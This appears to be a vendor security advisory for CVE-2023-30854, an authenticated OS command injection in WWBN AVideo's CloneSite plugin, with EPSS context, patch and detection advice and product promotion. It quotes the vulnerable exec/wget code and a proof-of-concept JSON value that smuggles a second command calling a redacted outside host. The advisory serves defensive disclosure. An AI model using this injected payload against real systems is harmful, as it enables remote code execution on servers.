WWBN AVideo vulnerable to OS Command Injection
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.

EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2023-30854 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Description
WWBN Avideo Authenticated RCE - OS Command Injection
Description
An OS Command Injection vulnerability in an Authenticated endpoint /plugin/CloneSite/cloneClient.json.php allows attackers to achieve Remote Code Execution.
Vulnerable code:
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
We can control $objClone->cloneSiteURL through the admin panel clone site feature.
/plugin/CloneSite/cloneClient.json.php sends a GET Request to {$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php. I hosted a specially crafted cloneServer.json.php that prints the following JSON data
{"error":false,"msg":"","url":"https:\/\/REDACTED/\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/[demo.avideo.com](http://demo.avideo.com/)\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget [http://REDACTED:4444/`pwd`](http://redacted:4444/pwd) ;#","videoFiles":[],"photoFiles":[]}
Send a GET Request to /plugin/CloneSite/cloneClient.json.php then remote code execution is achieved.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update wwbn/avideo to 12.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-30854 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-30854 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2023-30854. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2023-30854 in your dependencies?
O3 Security finds CVE-2023-30854 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.
